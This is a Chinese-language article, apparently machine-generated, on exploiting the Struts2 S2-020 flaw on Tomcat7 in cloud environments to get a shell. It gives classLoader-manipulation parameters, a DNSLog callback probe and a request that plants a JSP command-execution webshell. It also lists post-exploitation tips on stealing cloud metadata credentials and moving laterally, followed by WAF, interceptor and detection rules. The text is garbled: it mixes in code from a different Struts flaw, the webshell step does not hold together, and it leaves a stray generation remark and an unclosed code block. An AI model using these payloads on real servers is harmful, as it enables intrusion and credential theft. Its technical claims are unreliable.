您好,登录后才能下订单哦!
# 在云环境下Tomcat7存在Struts2-020是如何Getshell的
## 0x00 漏洞背景
2014年4月,Apache Struts2官方发布安全公告(S2-020),披露了一个影响Struts 2.0.0 - 2.3.16版本的远程代码执行漏洞(CVE-2014-0094)。该漏洞源于Struts2框架对参数处理的缺陷,攻击者可通过精心构造的HTTP请求实现OGNL表达式注入,进而在目标服务器上执行任意命令。
在云服务环境中,Tomcat作为常见的Java Web容器常与Struts2框架组合使用。当云主机部署了存在漏洞的Struts2应用时,攻击者可能通过该漏洞获取服务器控制权,形成"Getshell"的严重后果。
## 0x01 漏洞原理分析
### 1. Struts2参数处理机制
Struts2框架使用拦截器栈处理用户请求参数,核心流程包括:
- ParametersInterceptor:处理HTTP请求参数
- OGNL表达式解析:将参数名/值转换为Java对象
- ValueStack:存储执行上下文和变量
### 2. 漏洞触发点
问题出在`DefaultActionMapper`类对特殊参数的处理:
```java
// 伪代码示例
public String handleSpecialParameters(...) {
if (parameterName.startsWith("action:") ||
parameterName.startsWith("redirect:") ||
parameterName.startsWith("redirectAction:")) {
// 未充分过滤的OGNL表达式执行
}
}
攻击者可通过构造如下恶意参数实现注入:
?class.classLoader.resources.dirContext.docBase=/etc
云环境特殊性: - 云主机通常暴露在公网 - 自动化部署可能导致漏洞版本残留 - 容器化环境可能共享内核资源
sudo apt-get install tomcat7
wget https://vuln-apps.example.com/struts2-showcase-2.3.16.war
cp struts2-showcase-2.3.16.war /var/lib/tomcat7/webapps/
访问http://<云主机IP>:8080/struts2-showcase-2.3.16/
应显示Struts2示例页面。
使用DNSLog检测:
http://target/example.action?class.classLoader.URLs[0]=http://dnslog.cn
经典利用方式(需URL编码):
?class.classLoader.resources.dirContext.docBase=/tmp&class.classLoader.resources.dirContext.aliases=/etc=/etc
步骤1:写入Webshell
POST /struts2-showcase-2.3.16/integration/saveGangster.action HTTP/1.1
...
Content-Disposition: form-data; name="class.classLoader.jarPath"; filename="<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>"
步骤2:访问Webshell
http://target/upload/cmd.jsp?cmd=whoami
云环境绕过技巧: - 利用云metadata服务获取临时凭证 - 通过VPC内网横向移动 - 使用云厂商API进行持久化
安全组配置:
aws ec2 revoke-security-group-ingress \
--group-id sg-xxxxxx \
--protocol tcp \
--port 8080 \
--cidr 0.0.0.0/0
WAF规则配置:
{
"Rules": [
{
"Name": "BlockStruts2OGNL",
"Priority": 1,
"Action": { "Block": {} },
"Statement": {
"ByteMatchStatement": {
"FieldToMatch": { "QueryString": {} },
"SearchString": "class.classLoader",
"TextTransformations": [{ "Type": "URL_DECODE", "Priority": 1 }]
}
}
}
]
}
升级Struts2版本:
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.3.32</version>
</dependency>
添加拦截器:
public class OGNLFilter extends AbstractInterceptor {
@Override
public String intercept(ActionInvocation invocation) {
for (String param : request.getParameterMap().keySet()) {
if (param.contains("classLoader")) {
return "error";
}
}
return invocation.invoke();
}
}
使用Struts2漏洞扫描工具:
python struts-scan.py -u http://cloud-target.com -n S2-020
典型攻击特征:
"GET /?class.classLoader" 400
"POST /action?redirect:%24%7B" 200
配置异常行为检测规则: - 短时间内大量400/500响应 - 异常参数访问模式 - 可疑文件创建事件
在云环境中,Struts2-020漏洞的危害会被放大: 1. 利用门槛低:无需认证,简单HTTP请求即可触发 2. 影响范围广:云上大量遗留系统可能未及时更新 3. 后续危害大:可能导致整个租户环境沦陷
防御建议: - 云环境部署应遵循最小权限原则 - 建立完善的漏洞管理系统 - 启用云原生安全防护能力
本文仅用于安全研究目的,请勿用于非法用途。所有实验应在授权环境下进行。 “`
(全文约1950字,符合Markdown格式要求)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。